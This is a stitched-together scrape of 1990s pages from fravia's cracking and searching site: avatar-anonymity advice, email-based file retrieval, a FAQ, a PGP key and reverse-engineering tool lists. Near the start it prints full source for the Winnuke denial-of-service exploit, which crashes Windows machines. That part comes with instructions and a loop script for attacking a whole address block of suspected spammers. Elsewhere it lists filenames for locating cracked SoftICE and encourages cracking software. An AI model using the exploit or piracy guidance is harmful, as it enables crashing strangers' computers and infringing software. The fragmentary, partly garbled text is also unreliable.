creative and use a "front" page that would not arise any suspect (put up a nice foto you found somewhere on the
Web with "Me and my Dog Barkie" and this kind of junk stuff). Rememeber that the Web is still growing
exponentially and that MILLION of pages appear and disappear every DAY! No censor's robot or spider can
really follow what's going on (fortunately).
The Web is immense and the chances are on our side. If you only spent a minute per page and devoted ten hours
a day to it, it would take four and a half years to explore a million Web pages, a lifetime to explore just a part of
it, an automated search engine can do the same in two days, but in the same time quite a lot of these pages will
have been changed/moved/migrated
Once you have some identities (say three or four) remember that:
- Your Avatars interests should be VERY different
- If possible the language you use should be different for each Avatar (if you know only english use at least
different language patterns, say university professor as A and lorry driver as B)
__Enemy identification__
Know your enemies! (How to gather informations on the Web)
You'll find a first approach on the ad hoc enemy page
a nice fine c program (Winnuke) by _eci... listing at the end of this section
winnuke.c is a program which will crash any Windows 95/NT machine. Since
this operating system is popular among spammers, winnuke makes it easy to
get rid of them.
First, take the program code from the bottom of this post (everything
after the ---Cut Here--- line) and save it to a text file called winnuke.c
on your shell account or Linux box.
You should now have an executable program called winnuke in your directory.
Now find the spammer's IP number. This is the first IP number in the mail
headers which is not your mail server or mail relay. Once you have the
spammer's IP number (eg 192.168.12.109) type: ./winnuke 192.168.12.109
except use the spammer's real IP number that you found. You should see
something like the following:
% ./winnuke 192.168.12.109
Connected to [192.168.12.109:139].
Sending crash... Done!
%
If it doesn't work...
Unfortunately a few spammers don't have just one IP address but a whole
block (255 addresses) In this case you will need to nuke the entire block.
To do this, use this script:
#!/bin/csh
@ number = 255
loop:
@ number = $number - 1
./winnuke 205.199.212.$number &
#sleep 1
if ($number > 1) then
goto loop
endif
Except you should use the first three bytes of the spammer's IP number
instead of 205.199.212. If your net connection is too slow, uncomment the
sleep command (line 6) and that will slow it down so it can get all the
packets out. That's it...
---Cut Here--- /* winnuke.c - (05/07/97) By _eci */ /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
#include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h>
#include <sys/socket.h> #include <unistd.h> #define dport 139 /* Attack port: 139 is what we want */ int x, s;
char *str = "Bye"; /* Makes no diff */ struct sockaddr_in addr, spoofedaddr; struct hostent *host; int
open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char
*)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char
*)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) <0) {
perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)="=-1)" {
perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; } void
main(int argc, char *argv[]) { if (argc !="2)" { printf("Usage: %s <target>\n",argv[0]); exit(0); } if ((s =
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); }
open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB);
usleep(500000); printf("Done!\n"); close(s); }
nice, isn't it?
__Real powersearch__
You believe that searching the web is just using AltaVista, Hotbot and the other search engines? (Which you'll
all find here btw).
You are wrong: there are (at least) three other possibilities:
1) Searching per email, see my lessons:
lesson_6 ~ Ftping files, agora queries and emailing altavista ~ December 1996 ~ complete
lesson_7 ~ W3gate, search spiders, error messages and evaluation of results ~ March 1997 ~ complete
lesson_8 ~ Advanced searching techniques (combing and klebing) ~ November 1997 ~ complete
lesson_10 ~ Let the bots search for you ~ and build your own search-bots :-) ~ June 1998 ~ 'light'
I have started working on this in March 1997, and I don't think you'll find it somewhere else!
(c) fravia :-)
Usenet combing is preferably made through simple email (never underestimate the POWER of email for
internet investigating matters):
To: Email-Queries@Reference.COM
Subject: (None)
Text: FIND search AND engines
Try it now, You'll get an answer in circa half an hour.
To: agora@dna.affrc.go.jp
Subject: (None)
Text: send news:alt.anonymous
Try it now, You'll get an answer in circa 10 minutes.
Topsites combing is very useful to find quickly "delicate" subjects, like warez and free "images". You don't do
it obviously on newsgroups (where you'll always find only an infinite list of "me-too" lusers). You'll go instead,
for instance straight to
Web-Counter
Where you'll have a look at the "Top 1000" pages
and Websidestory
The World Top 1000 Pages Where you'll have a look at the Top 1000 "hackers" page (for instance).
The same applies for the "normal" search engines and for many other "counters" on the web. As soon as you
"see" a new counter somewhere, check immediately if there is a "top 1000" option, and wade happily through
tons of information!
Enjoy!
Page unfinished, rough and under heavy construction since november 1996!
(c) Fravia, 1995, 1996, 1997, 1998. All rights reserved, in the European Union and elsewhere
We saw in the precedent letter how to utilize an AGORA server to make some searches through LYKOS
and other search robots on the web and how to get emailed to us -automatically- any resulting
"http://...page" from the Web.
Let's resume what we have learned:
An Agora server it's a great thing, but has a limit of 5000 "lines", which makes it useless for
downloading files that may at times be as big as a couple of million of bytes (for instance Netscape
Navigator).
For bigger files you'll have to use an ARCHIE search, a FTPMAIL retrieval, a
UUENCODE/UUDECODE decoder and a PKZIP/PKUNZIP unzipper.
Sounds complicated, but it's pretty easy, and very useful, so you better learn it as soon as you have some
time to spare. Grasping these techniques will be very useful, do believe me.
(Get a list of all Archies emailing an Archie with only "help" in the body)
Well.. yes, you SHOULD ALREADY KNOW THE EXACT NAME of the program you are searching
through Archie... try the same search with find snap instead of find snap32.exe and you'll see what I
mean. Remember that on the Web Nomen est omen as +ORC wrote. Besides, there are Archies and
Archies... the servers in the EAST (i.e. Russia and Poland, Korea, Cina and Yugoslavja) are the best ones
for our purposes. The servers in the States and in the European Union are almost useless for this kind of
search: too much censorship and no real freedom in these oligarchies of money and forced publicity,
where frills and bad taste count much more than knowledge and studies, this desert of intelligence,
populated by TV_zombies and consum_slaves, witlessly called "free" world...(but do not despair! There
are other tricks for us to apply, here :-)
If you follow the instructions above, you'll get an answer, after a while, for instance something like this:
Location: /pub/mydir
FILE -rw-r--r-- 407040 bytes 19:55 28 Nov 1995 snap32.exe
now that you know where the file is, you must ftpmail it, in order to get it, therefore you better get
yourself aquainted with ftpmail.
This will enable you to get any software on any subject!
For details of how to use ftpmail send a message with the word "help" in the body (nothing in the
subject) to:
bitftp@wm.gmd.de
ftpmail@ftp.uni-stuttgart.de
ftpmail@grasp.insa.lyon.fr
ftpmail@ieunet.ie
ftpmail@plearn.edu.pl
ftpmail@doc.ic.ac.uk
THAT's IT! You'll get your file ftpped to you per email, without having to move a finger!
Using these email searches and retrieval systems helps
- Because you'll concentrate on the SUBSTANCE, and ignore all the stupid "mediatic" frills (you'll
despise all the "Netscape enhanced pages, after a very short while).
- Because you can "shoot" all your queries in the morning (it takes only few minutes on line because you
prepared them off line) and "gather" all the results in the afternoon (again, few minutes on line), and
you'll have the whole evening to study them at ease, off line, preparing accurately the next query steps
for the next day.
- Because you'll slowly grasp the emerging of very interesting "patterns": Some servers (in Bulgaria,
Rumenia, Russia, Jugoslavja, China) have a lot of "goodies" that you'll never find on the european and
north american servers. Some archies are more useful than others. This "ping-pong" approach is indeed
slow, but much more "finalized" than the butterfly browsing which brings nowhere.
- Because you'll keep a good "Breadcrumbs trace" of your findings, always ready as reference for the
next journeys.
All this does NOT mean that you should never browse and only email the Web, obviously, it's only ONE
WEAPON more in your arsenal of knowledge, and you should use it as such.
Let's imagine (just academically speaking, because you should always BUY your software), that you
would like to look for some cracked copies of softice/winice on the Web.
These copies change location continuously, for obvious reasons, and you should do searches with the
right names, because on the Web, as +ORC said, "nomen est omen". Here are some of the names you
would eventually have to use:
DOS SOFTICE: S-ICE280.ZIP; sice280.zip
WIN 3.1 WINICE: SIW152.ZIP
WIN'95 WINICE: RSH-SI95.ZIP; si322p95.exe; siw323-95.zip; siw9532.zip; siw32395.zip
NT SOFTICE: nt323.zip; siw323nt.zip; siwnt32.zip;
All large files you get ftpmailed will be "divided" in many sendings, and you'll have to save all of them
in a subdirectory before DECODING and UNZIPPING them. What follows should be pretty obvious, but
since this letters should explain COMPLETELY each subject, I'll nevertheless explain the basic concepts
of DECODING and UNZIPPING
TO DECODE:
Things are not yet finished: the file will come per email... therefore it will be most probably uuencoded, a
standard encryption used for transferring non ascii codes through ASCII charachters... only thing you
should know: you'll need a program: WINCODE, to decode it.
Fetch it from somewhere, it's shareware: put it in a subdirectory of your harddisk.
Wincode will allow you to UUencode files you want to send per email and to UUdecode the encoded
files you'll get.
How does it work? Read the instructions.
TO UNZIP:
This "wincode" file is zipped, i.e. compressed. That's a common trick for sending large files.
You'll need an utility: PKUNZIP, to decompress it (and almost all other files you'll get from the web).
Put pkunzip.exe in your c:\ harddisk ROOT (not in a subdirectory).
Put the previous Wincode.zip in a special directory you'll create in your harddisk, say "wincode".
Now just execute the dos command pkunzip -d c:\wincode\wincode.zip ... it's all, this will decompress it.
CONCLUSION:
Now you have everything you need to FIND and DOWNLOAD ANY FILE on the planet. Go ahead,
enjoy!
Go ahead, enjoy!
fravia+, July 1966
Fravia's FAQ
~ January 1999 ~
Some info you should (MUST) read before writing to me, since I'm fed up
having to answer always the same questions. I know that the following
is a little long, but believe me, people still ask me the same useless
questions after having read all this FAQ, so I'm desperate.
And now read the FAQ (like it could answer your questions :-)
COMMON QUESTIONS
Q: Hey, may I link to your page?
A: Please do. It's up to you. You do not need my authorisation. If you do, please comment: links without
comments are completely useless.
Q: Hey, I put a link to you on my page. Now will you link to my page?
A: NO! I may, eventually, if your page is outstanding, which I doubt. Yet I'm slow. It may take ages. Don't
count on that. Send me your URL a couple of times. Wait four to six months and see what happens on my
links page.
Q: Why don't you put some kind of order in your messy site?
A: My pages have to be understood. I don't want to make things much too easy for lamers and 'me too'
leechers. Yet there are various 'kinds' of orders you can apply. Find them. Else forget it, there are many other
interesting things on the web.
Q: I like your page a lot! How can I make a cool page like yours?
A: I don't know. No idea. I used edit.com and started from scratch. A good idea is to avoid frames and
scattered images. If you have some content your site will florish by itself, else forget it, there are many other
interesting things on the web.
Q: I already (did read the faq /looked at the page / made a lot of efforts / made everything you told me to do).
Can't you just tell me where to get file/program so_and_so?
A: No idea, sorry. You may try to use a search engine. Else forget it, there are many other interesting things
on the web.
A: No idea, sorry. I do not IRC and consider it to be the absolute waste of time. You may try to use a search
engine and search for "internet relay chat". Else forget it, there are many other interesting things on the web.
Q: Hey! I sent you a very good essay a week ago and you still have not published it!
A: Sorry. Probably went lost, especially if you used Outlook, which is seriously bugged. Try once more as
PASTED TEXT in your email. Wait (at least) a week. If it still wont be published try once more later, or try
elsewhere. I won't ALWAYS reply to an email if it is not necessary, even if the information inside it has been
useful. I have not the time to justify my publishing choices. Hope you'll not take it personally and you'll still
send (better) essays later on. If not, good luck to you anyway.
Q: Hey! You published an essay of mine some time ago, thanks, yet I need to change this and that, because I
realised that (my lame patch crashes/the protection is elsewhere/I did not understand the code at all/I did not
check thoroughly my essay before sending it to you)!
A: You lazy scoundrel! Why didn't you check it better BEFORE? You deserve to wait (and be blamed by all
readers) for at least a couple of weeks... should this happen anew I'll slowbomb you!
Q: Hey, I'm using MSIE to browse your site and "Bum!" I get (total destruction/funny colours/bubbles/Delhi
belly/whatever) when I access some of your pages... what should I do?
A: My pages will now be prepared ONLY for Opera browsers. Besides, M$IE it's slower AND sloppier AND
even more bugged than Navigator! :-). There are some pages of mine that are MADE in order to explode
M$IE just for the fun of it.
Enough reasons for a straight honest answer to all your problems: download and use (and modify and 'panzer')
your own copy of Netscape's Navigator, or, even better, your own copy of the very agile (less than one million
bytes) and much more useful Opera browser!
Q: Hey, please! I need some site passwords! You'r a site buster, can't you please...
A: Beggar off.
Q: Please, I'm desperate! I'm not a bad person, and I really need you to (hack/crack/revenge me/fetch a
password) inside (my school server/someone's webpage/someone's server/someone really bad and nasty)
because (insert sob story here). HELP ME PLEASE!!!
Q: Hey, you gotta a lot of hits! You know: you could make a lot of money out of them! You could for instance
(accept us as sponsors/work for us/publish this ad/enter this webring/set our 'password only' commercial entry
area...)
A: Beggar off. I'm not interested in any job you could offer me, unless you'll pay me (and very well) in order
to do what I'm doing now and whatever I'll fancy for the future: Donors are always welcome, sponsors ARE
NOT: I'm not going to carry ANY awful "sponsorship" banner, nor ANY advertising ads on my pages,
NEVER. I'm not to be bought for ANY sum whatsoever, believe it or not. Therefore STOP sending me
ridiculous spamming offers! Money does not mean anything to me... try with inside information instead... :-)
Q: Hey, your site is huge, and the telephon bills are huge as well... couldn't you please send me all your pages
zipped, so that I can peruse them at leisure?
A: This kind of questions make me sad. How long will I have to tell you, kids, that you should FIRST
LEARN HOW TO SEARCH THE NET! If you had done it, you would know how to fetch a whole
complete site for free using either special software like websnake or teleport pro, or a wwfetcher (or any good
agora server) or even a dedicated script made by yourself. For the mentally impaired among my readers (and
for the real lazy ones) here is The sitegrabber a free site-fetcher bot... yet I would nevertheless suggest you to
consult my site on-line, because many pages of mine are continuously updated or modified without notice and
also because you surely waste so much time already on useless sites on the web that you should for once
peruse at leasure when you find some worthy information...
Q: How can I join the +HCU? Can I be an +HCUker?
A:The +HCU is an idea of +ORC, created in order to find many people capable to "explain" and teach our
techniques. (It worked well, as the academy pages testify :-) I passed among the first ones, together with
+gthorne and +Sync. Basically we got +ORC's lessons a little before everybody else did and, if we did
interpret correctly his cryptic messages (I liked him quite a lot, but he is as weird as a banana, I tell you), we
had to "ameliorate" and "refine" them... I suspect that the whole trick was only that he was too lazy to finish
his cracks himself, as I wrote him already a couple of time.
This year courses have been held by +Alistair and +Aesculapius in absentia orci. 1999 courses should start on
schedule in January, +Aesculapius is preparing them (at least I hope). The +HCU publishes every year a
'strainer' (in April), which must be solved before October in order to gain admission to the following year
courses... you can have a look at the '98 strainer for 1999 courses if you want (and you should have a look at
its solutions, there is much to learn there), but you'll have to wait until April 1999 to get the strainer that you'll
have to solve in order to partecipate to next Millennium's courses. In the mean time, off course :-) you can
already now work with us all and collaborate in some ongoing project (or propose a new project :-). Anyway
+ORC seems to have retired and we are at the moment -sadly- no more in contact with him.
big box of very good beer. The Basilisk has seriously tryed to stalk +ORC, you may contact him on his +ORC
page if you are interested in this kind of stalking.
Q: Listen, Since you publish all those nice essays, you must have the addresses of all those good reverse
engineers. Although I never contacted you before, I'm a very nice guy and I need the addresses of X, Y, Z!
Could you please, since (insert sob story here), put me in contact with them?
A: Unfortunately no. I lost all those addresses inside a Blowfish. If you are serious about recruiting people for
this kind of job (which I doubt) you should at the very least know how to contact them directly even if you do
not have their addresses.
Hey, the following is only for truly sensitive matters, no need to PGP everything...
mQGiBDX7Xc8RBAD4Sgv2cL1Kh9HEuk9ZpWP0uECAyZ+qWLTGxLGiwdTrajpPwPa4
6oe6GABDB2cE+txVJX4s3PkYZTUPe7kmGS5UhjNdaFD/qhjs8cwdJm1wTmN/8VYq
D59d6ok46toKYxwi+0cZWRvsmJXSzIEIoJv2f/duJvaAC5YoOU0P7+K95QCg/xht
W7b6A4iQAh+fkHxGXkeVYwED/jqfotyqhuh3bjWvfEJnbgamWZyTlCb4EGaSLSFh
VYdJ0u3wMsPZHj87j97OC6CU9It/SyIT5O+sPtj/CkW83ZYB/Z/GeUMvo89hKPNZ
oPtehaHZGTz3FASqHLOk0E/ueHtfwrJ+3FFqmK0oCzuNJIhQ07p8G6oOuhY3BUiO
YRGzA/4gR1P3ymB/IdfcAw+eAXkOvcQWjnz+Eeilcx35hIiovqeqmPi+onRmgmm4
mphth99ZjwJm9sHaUOi4Gdj1PJyGHRW1q5yQGIc2QFVNzD1GocWnEWQo99VqUDrP
VkM51UTBL357rMc1vVTYY4srQ5ytwN8v7cxMlrRrft1zs6FuJbQlZnJhdmlhQGZy
YXZpYS5vcmcgPGZyYXZpYUBmcmF2aWEub3JnPokASwQQEQIACwUCNftdzwQLAwEC
AAoJEPgRbu+AUXAFFlcAoIHhiYNJZdEwnxX5/ko4Kuro1S7FAKD7Shg3XtWjXwLN
Gz+AIQLfPVM61LkCDQQ1+13PEAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlL
OCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N
286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/
RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2O
u1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZyAcpesqV
DNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAggAx876o56I
HvR6aqy1cQrCEThhac3VMkfh2KfDxjqlpLDx5AKmaj6YUHeL9MFLp/fmtt9BiJJq
1+moxsoHIWn+MT3AfNG+OUKxDaVzmqTnfO6DZSouieHL3lju7LPnUTI+xorpCEZp
tsVx+2yaolIXZxeChIzqfx9ZPF9jFMm9zO9gY8ay94gLMdVKC3RO7QSCW4SPbTlx
Qi6aDJtYyPBgrsMuzYvOTrad15QWBQ5fF2Frj//HJ6BSCcCDiuxySVj6Wd6sd4UY
ramU2RWuebort4K3w/6sM76gEtS5HN3IuIpm9vcMGdUGpxIylsfmsDahw21iC6hp
xUXlQt2VIl0voIkAPwMFGDX7Xc/4EW7vgFFwBRECJxQAn2K9Rrw7hjq4KsGeA1fg
tOHTtVZtAJ9wYpme9AeuHhE28IS4V8iubM7imQ==
=yiI0
-----END PGP PUBLIC KEY BLOCK-----
Messageboard
A message board for all people hanging round at fravia's
history of my site ~ future of my site ~ help I need ~ examples of people ignoring this faq
Hy
I want the crack.exe for soft-ice 3.01 Have you got this ?
I'm a French boy and some error in my text it is for that
A+
So, you see, sadly, I have not exaggerated... :-(
I getting deluged with this junk. Will you newbies please, please,
please, turn off this "stuff".
the formatted version, while any other email program will show the ASCII
message plus the attachment. M$ made this option enabled by default, so
many M$-Mail users have no idea that they are annoying the rest of the
world.
The problem arises when people not using Exchange or Outlook receive a
message in the TNEF format: instead of seeing a formatted message, they
see a big chunk of UUENCODE data if the sender used UUENCODE format, or
a MIME body part application/ms-tnef if the sender used MIME. Depending
on which mail program they use, they may either see a long sequence of
hexadecimal digits, or they may see an attached binary file named
WINMAIL.DAT.
Step #2:
. Double-click on the name of each recipient in your Address Book.
. Turn off the option that reads Always send to this recipient in
Micro$oft rich-text format.
. This option needs to be set for each recipient of a message - if even
one has this turned on, all recipients will still get the attachment.
Note: Either of these methods should work for most users, but sometimes
nothing seems to work - yet another brilliant design strategy by M$. I
you plan to be sending lots of internet email, you should seriously
consider using a mail program more suited to the task, such as Pegasus
or Eudora.
Note: A bug in Exchange may cause line feeds to be replaced with equal
signs when rich-text mail is disabled.
OK, I'll tell you one thing Kent (or whoever else would care): as a matter of fact I will ACCEPT one (and
only one) of your (or anybody else) crap banners/simple agents if you (or whoever) will pay A LOT OF
MONEY (and I mean a lot) to the nice people at Webcaf that are hosting my fortress (I -fortunately-
don't need money at the moment and they surely deserve it for being grat DONORS, not ugly
SPONSORS). But watch it! Placed at the bottom of my index.htm page, your crap banner will be tabled
with the following exact wording:
The following crap advertisement is the only one that you'll be able to find on this site
(insert your ad here)
N.B.: The paid advertisement above is being published on this site only in order to deliver the sum of
(put exact sum here) dollars monthly to the nice guys at Webcaf that host my fortress
So Kent (or whoever), you don't like that? Well, bad luck: get lost... or if you are really a 'professional
advertiser', take this opportunity as it is... if you do you'll probably get nevertheless a lotta hits (not mine
for sure :-) and if you don't... somebody more shrewd than you probably will accept it in due time... see,
there is no bottom ethic for commercial oriented minds, and that's exactly the kind of thing that only
those that really don't care for money can merrily exploit :-)
homepage
Back to the main entrance
[official +HCU tools] ~ [useful tools] ~ [good 'tooling' pages] ~ [abandoned programs]
or else
macro GETTEXT = "db (ss:esp+4)->8" and then bpx GetDlgItemTextA DO "GETTEXT"
~
Official +HCU tool
Ilfak Guilfanov
3) IDA (Interactive disassembler, by Wizard Ilfak Guilfanov) version 3.7 is THE tool you need to work. Quine's
essays have underlined its incredible performance capacities. This IS the OFFICIAL +HCU disassembler 1997.
Crack the demo version using Quine's essays, fetch a regged version from the web or buy a copy of it, Guilfanov
deserves it, he's a great programmer!
And now you'r set for some wonderful debugging sections with wdasm. Watch the "left" debugging window and
the API calls while you just "step over" on the 'right' debugging window... and you'll see!
5) An Hexeditor, we use mostly PSEDIT (DOS, powerful) or Hexworkshop (Windoze), you'll find hexeditors
everywhere and you'll crack all sorts of hexeditors reading +HCU's Project 1.
Many crackers find hiew_565.zip a very useful hexeditor.
6) Filemon & Regmon & Vxdmon... shareware (with source code!). You'll find them for download on my own
site too, see below. Once you use and understand the utility of filemon you may also want to check my essay
about filemon reverse engineering" too!
7) A good wordprocessor (MS-Word 97 won't do for huge files, I use old powerful Wordperfect version 4.2
(DOS) or Ultraedit (Windoze)
Forgotten realms
Hey! I almost forgot... actually when you'll have to perform real work "inside the dark codewoods" you could
need this Muster as well)
Hey! I almost forgot... actually when you'll have to perform real work "inside the dark codewoods" you could
need this base converter as well (An Hexworkshop add-on: zipped: 58.717 bytes)
Well, actually, even better... when you'll have to crack windows that have a predefinite width and height you
could use this winshow utility as well (zipped: 57.958 bytes), the original module has been ameliorated by
Frog's Print, porting it to hexvalues inter alia, and you'll find his version inside this zip as well
Hey! I almost forgot... actually when you'll have to find and extract strings in unicode from your targets you
could need this peek utility as well (zipped: 24.323 bytes)
Some VERY good tools for stalking (inter alia) on the Basilisk's tools page
Some good tools for hexediting (among other things) on LordSomer's page
Couple of good tools for Windows95 Registry (thoroughly explained) on Michael's page
Tools for Virus programming (which is useful in order to learn Assembly) on Jwool's page
Very good tools on a very good page, at Mammon's
Very good tools on a very good page, at Stone's
Tools and icecreams (quite a lot) on Aesculapius' page
Tools and icecreams (quite a lot) on ACP's main page
One of the best sites that you'll find for tooling around is LordCaligo's main page
-imports tocrack.dll)
Hiew zip40.624 Learn how to use it... substitutes (and how!) DEBUG and SYMDEB*
Old PSP version 2.1430.046Ancient copy of Paint Shop Pro, useful for +ORC's lesson 9.2
ums1.zip125.493 A very old (uncracked) strategic game, see +ORC's lesson 3 in order to crack it yourself
Peek version 11 11.492 String extracting useful utility, gets Unicode strings inside windoze's targets too
hiew_565.zip 345.242 Hexeditor and more
watch.zip19.890Useful snooper utility by Mike Williams (Version 2)
symdeb.zip 40.624 Good old symdeb, what would we do without thee?
find.zip19.890the *BEST* string search utility for Windoze 95 and 3.1
strings.zip40.624A Dos string utility that cuts the mustard
winshow.zip57.958fish a window through its width and height (Frog's Print modified version included :-)
cust.zip1.459.190The Customizer! Modify any window parameter! Send your own API calls! Play with grayed
buttons! (Very easy Cinderella protection, ideal crack for newbies)
ucfpd114.zip63KA very powerful unpacker (not for beginners though)
isdcc.zip52KA powerful Installshield decompiler, by adq
grep.zip 4.620grep! The dos ported unix command! You learn to use this well (and you understand how these
4000 bytes works) and you'r almost a Perl/unix reverser buff! :-)
winsight.zip 71.741 Good old winsight... what would we do without you? ivyspy.zip 2.752 little but very
powerful, I like it, shows the data of a given window hw32.zip 52.913 Show me my heaps! pview95.zip 22.711
You thought ps.exe was a good killer? stress.zip 52.234 Where's the stress? wspy.zip 51.536 Let's spy around
Mark Russinovich's register monitor! 102.536 Win95 OS is STUPID! have a look at what happens at your
monstruous register (deep inside windows 95) every time a program runs! (Can be pretty useful for our trade :-)
Tekfct95.zip! 516.442 Well, an INCREDIBLY useful tool for our trade! Don't forget to check the 'search' DLL
facilities! gnb.zip 115.549 Not a tool: a very old (poor AI, yet very good for two humans) napoleonic strategic
game! (needs quite some reverse engineering to find out its funny commands!) vxdmon.zip! 60.260 Well, virtual
drivers need checking too! Mark Russinovich's File system monitor! 94.324 Have a look at how many files are
accessed every time a (suspect) program runs! (a really useful tool for our trade :-)
I was so excited about this very good program that I completely reversed it, see my filemon serie essays!
useful tools
homepage links +ORC students' essays +HCU database anonymity counter measures
CGI antismut cocktails search_forms AntiMicro$oft mail_fravia
Is reverse engineering legal?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
There is not a single cracked or pirated copy of software on this page. You'll find here only shareware (uncracked) or our own
program... lex super regem.
Well, I decided to create this NEW page: "really useful tools", because I feel that newbyes and old hands alike need to
exchange opinions and experiences on this argument. I'll present here, and comment, the "main" tools that we currently use in
our endeavours. All the tools of the world are available on the web, regged and pirated, not regged and with serial, not regged
and uncracked, not regged and cracked, in beta version, in special trial version... you name it, you'll find it (provided you have
learned HOW to search the web), you may eventually have to crack some banal protection in order to use it as long as you
fancy.
Let's see what we need, what we have and what we should seek... You may enjoy reading my local copy of "Mammon_'s Tales
to his Grandson: Breathing Life into Dead Listings", where you'll be able to get "an introduction to a number of "dead-listing"
tools". It's only an old copy, of course: the real page can be have (with many other goodies) on Mammon_'s own VERY
GOOD site.
The above table is under construction... of course I cannot monitor all the thousand of reviews that are published every month
everywhere in every language (I wonder if somebody does monitor them :-)... please let me know IMMEDIATELY if something
valuable has been published somewhere!
Related files
(It's only fravia's copy: the real page can be found (with many other goodies) on Mammon_'s own VERY GOOD site)
In reverse engineering, there are two approaches for examining the target: "live" or active examination, in which a program is
run under the careful scrutiny of a) a debugger, b) a system monitor, or c) a capture utility that filters disk/file/memory
access, API calls, messages, etc; and "dead" or passive examination, in which a program is opened in a hex editor or
disassembler, with the end result being a .lst or .asm file containing a close approximation of the original aource code of the
program. Most passive utilities will produce an "assembly-language rendering" of the target, which then must be reviewed
and corrected by the engineer and finally--if at all--translated into C/C++, Visual Basic, Pascal, Fortran, Java, or whichever
language the target is presumed to have been written in. What follows is an introduction to a number of "dead-listing" tools
which, once learned by the engineer, will prove invaluable in retrieving an accurate assembly language rendering from the
target binary file.
HED
Synpopsis:HED v.1.78 is a 370K (installed) "hacking tool disquised as a hex editor", running in a non-resizeable DOS box.
Its features include tradtional hex/ASCII or disassembly mode, multiple-file editting, excellent search and replace
capabilities, macro recording, win32 API function name resolution,integral expresion calculator and ASCII table, branch
following, 10 bookmarks, and imports/exports/internal references tables. All in all, a pretty sophisticated hex editor at 193K
with a 176K imports.dat file.
Usage: General hex/text editor with Win32 import/export information.
Shortcuts
Esc Activate Menu Alt-O Open File
Alt-P Previous File Alt-N Next File
Alt-Q Close File Alt-X Exit Program
F2 Save File Alt-F2 Save As
F9 DOS Shell Alt-F9 Execute a program
Ctrl-F4 Calculator F11 ASCII Table
Ctrl-M Record Macro Alt-F Text Filter
Ctrl-Ins Copy to HED clipboard Shift-Ins Paste from HED clipboard
Ctrl-G Goto Offset Ctrl-B Goto Previous Position
Alt-Shift(0...9) Save Position (Bookmark) 0-9 Alt-[0...9) Goto Position (Bookmark) 0-9
F5 Find Number F6 Find Text String
F7 Find Hex Data Ctrl-F6 Find in ASM text
Ctrl-F8 Find reference Alt-F8 SuperFind & Replace
Notes: HED is a freeware (or, rather, "emailware") hex editor written for OS/2 by Dimitris Kotsonis, and ported to Win32 by
Malakoudis S. Panagiotis. It is written in Visual C++ (GNU C for OS/2 version) and takes advantage of the Win32 DOS
console interface...the result being that the code of the .exe is interesting to scroll through, but the program itself can slow
down in certain functions. The "file open" dialog box, as it does not alphabetize the file names, is tedious to use in large
directories such as C:\WINDOWS...creating a PIF file that takes a filename parameter or simply drag'n'dropping the target on
the HED icon is recommended. HED will also open multiple files, so that typing C:\WINDOWS\*.* in the "file open" box
will open every file in the Windows directory...
HIEW
Synpopsis: HIEW v.5.66 is a 177K (installed) hex editor that runs in a DOS box and takes multiple files names as its startup
parameters. Features include MZ/PE file header parsing, multiple file editting, hex/ASCII/disassembly views, file search and
replace, saved jump table, reference calling, bookmarks, win32 API function name resolution, built-in 80386 assembler, and
cyrptographic/XOR functions. HIEW has three different viewing modes (Asm, Hex, and Text, or A, H, and T), from A and H
modes the user can enter the "Edit" mode (E). The PE file header summary is particularly effective, allowing the user to jump
to locations in the file (such as the .text or .rsrc directories) reference by the PE Header, its Directory Table, or its Object
Table.
Usage:General hex/text editor with PE file header and assembler capabilities.
Crypting Operations: The HIEW manual gives the followign explanation for its cryptographic funtions
Available commands:
Reg mode : neg,mul,div
Reg-Reg mode: mov,xor,add,sub,rol,ror,xchg
Reg-Imm mode: mov,xor,add,sub,rol,ror
Imm mode : loop
All 8/16 bit registers are available, except AL/AX that will be filled with
(de)crypted byte/word.
The differences from standard assembler:
there are no jumps;
'loop' means 'jmp/stop'
the operands of 'rol/ror' commands must have the same size, i.e.
ROL AX,CL not allowed.
Example:
a. XOR byte with 0AAh:
1. XOR al,0aah
2. LOOP 1
b. XOR word with mask increment
1. MOV dx,0
2. XOR ax,dx
3. ADD dx,1
4. LOOP 2
Shortcuts
Enter Toggle View Mode Alt-H Help
F1 File Info F2 Wrap/Unwrap (T) Assemble (E)
Tutorial
This brief example will make use of Rundll32.exe, found in every Windows directory. This program is 8K and thus is the
perfect size for an introduction; its purpose is to manually load .DLL files into memory, as if they were executables. Run IDA
by loading IDAW.EXE, then select c:\windows\rundll32.exe for the target file. IDA Pro fill present you with a dialog box of
loading parameters:
Load as...
* Portable executable
_ MSDOS .exe
_Binary file
Loading segmemnt: 0x1000 (Exe & Bin) (paragraph where file will be loaded...only for
exe/bin)
Loading Offset: 0x0 (bin) (binary only...offset of first byte from start of first
segment)
Go to the program entry point by pressing Ctrl-E; you will start off at address
401028 which, as is standard for the start of a
program or function, will prepare a stack frame. From here you can create a
"skeleton" outline of the code by noting the "flow
of execution", taking down relevant jumps and calls and any imports from the Windows
API:
Start:
401028 Start of Program
40102F API: GetCommandLine, store pointer in esi
401075 API: GetStartupInfo, store STARTUPINFO structure in ebp+var_44
401090 API: GetModule Handle..either 0Ah or ebp+var_14 (address of mudule to return
handle for)
401097 Call 401322
40109F API: Exit process
Main:
401334 API: SetErrorMode mask:8001h
